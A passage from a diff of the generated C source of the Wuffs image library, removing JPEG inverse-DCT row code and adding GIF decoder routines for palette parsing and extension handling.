v_rb2)); +- v_in1 = v_intermediate[25u]; +- v_in3 = v_intermediate[27u]; +- v_in5 = v_intermediate[29u]; +- v_in7 = v_intermediate[31u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } +- if (0u == (v_intermediate[33u] | +- v_intermediate[34u] | +- v_intermediate[35u] | +- v_intermediate[36u] | +- v_intermediate[37u] | +- v_intermediate[38u] | +- v_intermediate[39u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ iop_a_src++; ++ v_i = 0u; ++ self->private_impl.f_has_global_palette = (((uint8_t)(v_flags & 128u)) != 0u); ++ if (self->private_impl.f_has_global_palette) { ++ v_num_palette_entries = (((uint32_t)(1u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); ++ while (v_i < v_num_palette_entries) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_4 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_decode_lsd.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 16) { ++ t_4 = ((uint32_t)(*scratch >> 40)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); ++ } ++ } ++ v_argb = t_4; ++ } ++ v_argb |= 4278190080u; ++ self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; ++ } ++ if (self->private_impl.f_quirks[2u]) { ++ if ((v_background_color_index != 0u) && (((uint32_t)(v_background_color_index)) < v_num_palette_entries)) { ++ v_j = (4u * ((uint32_t)(v_background_color_index))); ++ self->private_impl.f_background_color_u32_argb_premul = ((((uint32_t)(self->private_data.f_palettes[0u][(v_j + 0u)])) << 0u) | ++ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 1u)])) << 8u) | ++ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 2u)])) << 16u) | ++ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 3u)])) << 24u)); ++ } else { ++ self->private_impl.f_background_color_u32_argb_premul = 77u; ++ } ++ } + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[32u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[34u]; +- v_in6 = v_intermediate[38u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[32u]; +- v_in4 = v_intermediate[36u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[33u]; +- v_in3 = v_intermediate[35u]; +- v_in5 = v_intermediate[37u]; +- v_in7 = v_intermediate[39u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ while (v_i < 256u) { ++ self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = 0u; ++ self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = 0u; ++ self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = 0u; ++ self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = 255u; ++ v_i += 1u; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_lsd = 0; ++ goto exit; + } +- if (0u == (v_intermediate[41u] | +- v_intermediate[42u] | +- v_intermediate[43u] | +- v_intermediate[44u] | +- v_intermediate[45u] | +- v_intermediate[46u] | +- v_intermediate[47u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[40u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[42u]; +- v_in6 = v_intermediate[46u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[40u]; +- v_in4 = v_intermediate[44u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[41u]; +- v_in3 = v_intermediate[43u]; +- v_in5 = v_intermediate[45u]; +- v_in7 = v_intermediate[47u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_lsd = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_lsd.v_flags = v_flags; ++ self->private_data.s_decode_lsd.v_background_color_index = v_background_color_index; ++ self->private_data.s_decode_lsd.v_num_palette_entries = v_num_palette_entries; ++ self->private_data.s_decode_lsd.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (0u == (v_intermediate[49u] | +- v_intermediate[50u] | +- v_intermediate[51u] | +- v_intermediate[52u] | +- v_intermediate[53u] | +- v_intermediate[54u] | +- v_intermediate[55u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ ++ return status; ++} ++ ++// -------- func gif.decoder.decode_extension ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_extension( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_label = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_extension; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_label = t_0; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[48u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[50u]; +- v_in6 = v_intermediate[54u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[48u]; +- v_in4 = v_intermediate[52u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[49u]; +- v_in3 = v_intermediate[51u]; +- v_in5 = v_intermediate[53u]; +- v_in7 = v_intermediate[55u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ if (v_label == 249u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__decode_gc(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if (v_label == 255u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_ae(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } +- if (0u == (v_intermediate[57u] | +- v_intermediate[58u] | +- v_intermediate[59u] | +- v_intermediate[60u] | +- v_intermediate[61u] | +- v_intermediate[62u] | +- v_intermediate[63u])) { +- if (8u > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[56u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- } else { +- v_in2 = v_intermediate[58u]; +- v_in6 = v_intermediate[62u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[56u]; +- v_in4 = v_intermediate[60u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[57u]; +- v_in3 = v_intermediate[59u]; +- v_in5 = v_intermediate[61u]; +- v_in7 = v_intermediate[63u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (8u > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ if (status.repr) { ++ goto suspend; ++ } ++ ++ ok: ++ self->private_impl.p_decode_extension = 0; ++ goto exit; + } +- return wuffs_base__make_empty_struct(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_extension = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; + } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 +-// -------- func jpeg.decoder.decode_idct_x86_avx2 ++// -------- func gif.decoder.skip_blocks + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct_x86_avx2( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q) { +- __m256i v_k_0000 = {0}; +- __m256i v_k_8080 = {0}; +- __m256i 